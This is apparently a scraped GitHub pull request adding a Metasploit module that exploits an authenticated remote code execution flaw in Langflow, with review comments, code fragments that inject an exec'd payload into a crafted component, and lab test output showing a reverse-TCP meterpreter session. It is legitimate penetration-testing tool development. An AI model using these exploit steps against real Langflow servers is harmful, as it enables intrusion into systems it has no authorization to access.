ENH: Exploit module for Langflow Authenticated RCE vulnerability CVE-2026-19295 by rmhowe425 · Pull Request #21837 · rapid7/metasploit-framework

rmhowe425 · 2026-08-27T21:22:43Z

Description

This pull request adds a new exploit module that detects and exploits an authenticated remote code execution vulnerability impacting Langflow versions 1.10.0 and below.

Related Issue:
Fixes #21836

Breaking Changes

None

Reviewer Notes

Verification Steps

docker pull and docker run langflow, per documentation
Start msfconsole
Do: use exploit/multi/http/langflow_auth_rce_cve_2026_19295
Do: run lhost=<lhost> rhost=<rhost> username=<username> password=<password>
Do: exploit
You should get a meterpreter session

Test Evidence

Environment

Field	Details
Operating System	Ubuntu 22.04
Target Software/Hardware	Langflow 1.10.0
Docker Image / Vagrant Setup	langflowai/langflow:1.10.0

AI Usage Disclosure

None

Pre-Submission Checklist

Included a corresponding documentation markdown file in documentation/modules (new modules only)
No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
Tested on the target environment specified in the Environment section above
Included RSpec tests for library changes (encouraged for lib/ changes)
Read the CONTRIBUTING.md and module acceptance guidelines

Copilot

Pull request overview

Adds a new Metasploit exploit module (and accompanying documentation) targeting CVE-2026-19295, an authenticated remote code execution vulnerability in Langflow (<= 1.10.0), addressing the request in #21836.

Changes:

Introduces exploit/multi/http/langflow_auth_rce_cve_2026_19295, implementing version checking, authentication, flow creation, and trigger logic.
Adds module documentation describing the vulnerable setup, verification steps, and a usage scenario.

Impact Analysis:

Blast radius: Low — isolated to a new exploit module + its documentation; no shared framework/library code changes identified from the diff.
Data and contract effects: No schema/ABI changes; new module adds a new user-facing capability and stores data server-side on the target (flow creation) as part of exploitation.
Rollback and test focus: Rollback is straightforward (remove the new module/docs); validate authentication, flow creation, and exploit trigger against Langflow 1.10.0 as documented.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 3 comments.

File	Description
modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb	New authenticated Langflow RCE exploit module for CVE-2026-19295 with AutoCheck/version detection and flow-based trigger.
documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md	New module documentation covering vulnerable setup, verification steps, and an example scenario.

Suppressed comments (2)

documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md:46

Important: Problem: the Options section is empty, despite introducing user-facing options (TARGETURI/USERNAME/PASSWORD/RPORT). Impact: operators may misconfigure the module or miss required settings. Fix: document the options and defaults in this section.

## Options

documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md:41

Critical: Problem: the verification steps reference a different module path (langflow_unauth_rce_cve_2026_19295) and use run with inline arguments. Impact: users following the docs will run the wrong module and likely fail to reproduce. Fix: update the steps to use this module’s path and standard set/exploit workflow.

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_19295`
4. Do: `run lhost=<lhost> rhost=<rhost> username=<username> password=<password>`
5. You should get a meterpreter

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

+3. Pull pre-built Langflow docker container (v1.8.4) in your VM.
+   `docker pull langflowai/langflow:1.10.0`


bwatters-r7 · 2026-08-28T20:38:09Z

+
+The vulnerability affects:
+
+    * Langflow <= 1.10.0


IBM says through 1.11.1 is vulnerable, and 1.11.2 is the matched version?
https://www.ibm.com/support/pages/node/7284733

bwatters-r7 · 2026-08-28T20:44:21Z

+      "    outputs = [Output(display_name='#{output_display_name}', name='#{output_name}', method='#{output_method}')]",
+      "    @exec(\"#{payload.encode}\")",
+      '    def r(self) -> Data:',
+      '        return Data(data={})\n',


Suggested change

' return Data(data={})\n',

' return Data(data={})',

That newline caused the exploit to fail for me?

bwatters-r7 · 2026-08-28T20:45:48Z

Test Results

  [*] Processing /tmp/msf-21837-test.rc for ERB directives.
  resource (/tmp/msf-21837-test.rc)> use exploit/multi/http/langflow_auth_rce_cve_2026_19295
  [*] No payload configured, defaulting to python/meterpreter/reverse_tcp
  resource (/tmp/msf-21837-test.rc)> set RHOSTS 10.5.135.119
  RHOSTS => 10.5.135.119
  resource (/tmp/msf-21837-test.rc)> set RPORT 7860
  RPORT => 7860
  resource (/tmp/msf-21837-test.rc)> set USERNAME root
  USERNAME => root
  resource (/tmp/msf-21837-test.rc)> set PASSWORD root
  PASSWORD => root
  resource (/tmp/msf-21837-test.rc)> set PAYLOAD python/meterpreter/reverse_tcp
  PAYLOAD => python/meterpreter/reverse_tcp
  resource (/tmp/msf-21837-test.rc)> set LHOST 10.5.135.210
  LHOST => 10.5.135.210
  resource (/tmp/msf-21837-test.rc)> set LPORT 4444
  LPORT => 4444
  resource (/tmp/msf-21837-test.rc)> set WfsDelay 20
  WfsDelay => 20
  resource (/tmp/msf-21837-test.rc)> run -j
  [*] Exploit running as background job 0.
  [*] Exploit completed, but no session was created.
  resource (/tmp/msf-21837-test.rc)> sleep 20
  [*] Started reverse TCP handler on 10.5.135.210:4444
  [*] Running automatic check ("set AutoCheck false" to disable)
  [+] The target appears to be vulnerable. Version 1.10.0 detected, which appears vulnerable.
  [*] Payload sent successfully.
  [*] Sending stage (34548 bytes) to 10.5.135.119
  [*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.135.119:47160) at 2026-08-28 15:44:31 -0500
  resource (/tmp/msf-21837-test.rc)> sessions -1 -C sysinfo
  [*] Running 'sysinfo' on meterpreter session 1 (10.5.135.119)
  Computer     : 52b3ce23886f
  OS           : Linux 6.17.0-1022-azure #22-Ubuntu SMP Mon Jul 27 17:24:03 UTC 2026
  Architecture : x64
  Meterpreter  : python/linux
  resource (/tmp/msf-21837-test.rc)> sessions -1 -C getuid
  [*] Running 'getuid' on meterpreter session 1 (10.5.135.119)
  Server username: user
  resource (/tmp/msf-21837-test.rc)> sessions -l

  Active sessions
  ===============

    Id  Name  Type                      Information          Connection
    --  ----  ----                      -----------          ----------
    1         meterpreter python/linux  user @ 52b3ce23886f  10.5.135.210:4444 -> 10.5.135.119:47160 (10.5.135.119)
    ```

rmhowe425 · 2026-08-28T23:45:53Z

@bwatters-r7 should be good for a second round review

rmhowe425 · 2026-08-29T15:52:31Z

I noticed that when I fired the exploit I was getting a lot of noise in the Langflow debugger console. This seems to be attributed to a Python TypeError caused by using exec() as a decorator since it returns None.

I went back and fixed this by using a callable lambda function instead.

This should make for a much cleaner and less noisy exploit

msfconsole output with new payload

Clean Langflow log

bwatters-r7 · 2026-08-31T16:33:19Z

+
+    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version
+
+    if version < Rex::Version.new('1.11.1')


Suggested change

if version < Rex::Version.new('1.11.1')

if (version >= Rex::Version.new('1.0.0')) && (version <= Rex::Version.new('1.11.1'))

In theory, 1.11.1 is vulnerable, but nothing below 1.0.0 is, right?

bwatters-r7 · 2026-08-31T17:57:00Z

GHSA-74fg-mx2g-3cx8

+            },
+            'data' => {
+              'id' => node_id,
+              'type' => 'CustomComponent',


Suggested change

'type' => 'CustomComponent',

'type' => '',

According to GHSA-74fg-mx2g-3cx8, this exploit is supposed to work when LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false

bwatters-r7 · 2026-08-31T18:01:40Z

+    output_name = Rex::Text.rand_text_alpha(5).downcase
+    output_method = Rex::Text.rand_text_alpha(5).downcase
+
+    _payload_b64 = Rex::Text.encode_base64(payload.encoded)


Suggested change

_payload_b64 = Rex::Text.encode_base64(payload.encoded)

I don't think this is used, anymore?

bwatters-r7 · 2026-08-31T18:04:49Z

+  --name langflow \
+  -p 192.168.1.30:7860:7860 \
+  -e LANGFLOW_SUPERUSER=root \
+  -e LANGFLOW_SUPERUSER_PASSWORD=root \


Suggested change

-e LANGFLOW_SUPERUSER_PASSWORD=root \

-e LANGFLOW_SUPERUSER_PASSWORD=root \

-e LANGFLOW_AUTO_LOGIN=false \

-e LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false \

Disable custom components for testing.

rmhowe425 · 2026-08-31T18:55:05Z

@bwatters-r7 Updated implementation and documentation. Retesting was successful. Ready for 3rd round of reviews.

Adding initial commit and documentation

9221b85

github-project-automation Bot added this to Metasploit Kanban Aug 27, 2026

github-project-automation Bot moved this to Todo in Metasploit Kanban Aug 27, 2026

rmhowe425 added 2 commits August 27, 2026 19:47

Updating implementation

b2bfc5d

Polishing up implementation and documentation

1a66bd2

rmhowe425 marked this pull request as ready for review August 28, 2026 04:19

Fix typo in documentation

fd6d78d

rmhowe425 changed the title ~~ENH: Exploit module for Langflow Authenticated RCE vulnerability CVE-2026-19295~~ ENH: Exploit module for Langflow Authenticated RCE vulnerability CVE-2026-19296 Aug 28, 2026

rmhowe425 changed the title ~~ENH: Exploit module for Langflow Authenticated RCE vulnerability CVE-2026-19296~~ ENH: Exploit module for Langflow Authenticated RCE vulnerability CVE-2026-19295 Aug 28, 2026

bwatters-r7 requested a lite review from Copilot August 28, 2026 20:31

Copilot started reviewing on behalf of bwatters-r7 August 28, 2026 20:31 View session

Copilot AI reviewed Aug 28, 2026

View reviewed changes

bwatters-r7 reviewed Aug 28, 2026

View reviewed changes

bwatters-r7 self-assigned this Aug 28, 2026

bwatters-r7 added the rn-modules release notes for new or majorly enhanced modules label Aug 28, 2026

rmhowe425 added 2 commits August 28, 2026 18:54

Updating implementation and documentation based on reviewer feedback

ba3d681

Updating implementation based on reviewer feedback

2d7cb47

rmhowe425 requested a review from bwatters-r7 August 28, 2026 23:45

rmhowe425 added 3 commits August 29, 2026 09:57

Fixing version check logic

310152f

Polishing up implementation

04c1dbb

Cleaning up injected code to minimize noise in Langflow debugger console

a6459cd

bwatters-r7 reviewed Aug 31, 2026

View reviewed changes

Updating implementation based on reviewer feedback

caec8f3

rmhowe425 requested a review from bwatters-r7 August 31, 2026 18:54

Navigation Menu

Uh oh!

ENH: Exploit module for Langflow Authenticated RCE vulnerability CVE-2026-19295 - #21837

ENH: Exploit module for Langflow Authenticated RCE vulnerability CVE-2026-19295#21837
rmhowe425 wants to merge 10 commits into
rapid7:masterfrom
rmhowe425:dev/cve-2026-19295

rmhowe425 commented Aug 27, 2026 •

edited

Loading

Uh oh!

Copilot AI left a comment

Uh oh!

Uh oh!

Uh oh!

bwatters-r7 Aug 28, 2026

Uh oh!

bwatters-r7 Aug 28, 2026

Uh oh!

bwatters-r7 commented Aug 28, 2026

Uh oh!

rmhowe425 commented Aug 28, 2026

Uh oh!

rmhowe425 commented Aug 29, 2026 •

edited

Loading

Uh oh!

bwatters-r7 Aug 31, 2026

Uh oh!

bwatters-r7 Aug 31, 2026

Uh oh!

bwatters-r7 Aug 31, 2026

Uh oh!

bwatters-r7 Aug 31, 2026

Uh oh!

rmhowe425 commented Aug 31, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

		3. Pull pre-built Langflow docker container (v1.8.4) in your VM.
		`docker pull langflowai/langflow:1.10.0`


		return Exploit::CheckCode::Unknown('Failed to parse version.') unless version

		if version < Rex::Version.new('1.11.1')

	if version < Rex::Version.new('1.11.1')
	if (version >= Rex::Version.new('1.0.0')) && (version <= Rex::Version.new('1.11.1'))

Uh oh!

Conversation

rmhowe425 commented Aug 27, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Description

Breaking Changes

Reviewer Notes

Verification Steps

Test Evidence

Environment

AI Usage Disclosure

Pre-Submission Checklist

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Reviewed changes

Uh oh!

Uh oh!

Uh oh!

bwatters-r7 Aug 28, 2026

Choose a reason for hiding this comment

Uh oh!

bwatters-r7 Aug 28, 2026

Choose a reason for hiding this comment

Uh oh!

bwatters-r7 commented Aug 28, 2026

Test Results

Uh oh!

rmhowe425 commented Aug 28, 2026

Uh oh!

rmhowe425 commented Aug 29, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

msfconsole output with new payload

Clean Langflow log

Uh oh!

bwatters-r7 Aug 31, 2026

Choose a reason for hiding this comment

Uh oh!

bwatters-r7 Aug 31, 2026

Choose a reason for hiding this comment

Uh oh!

bwatters-r7 Aug 31, 2026

Choose a reason for hiding this comment

Uh oh!

bwatters-r7 Aug 31, 2026

Choose a reason for hiding this comment

Uh oh!

rmhowe425 commented Aug 31, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

rmhowe425 commented Aug 27, 2026 •

edited

Loading

rmhowe425 commented Aug 29, 2026 •

edited

Loading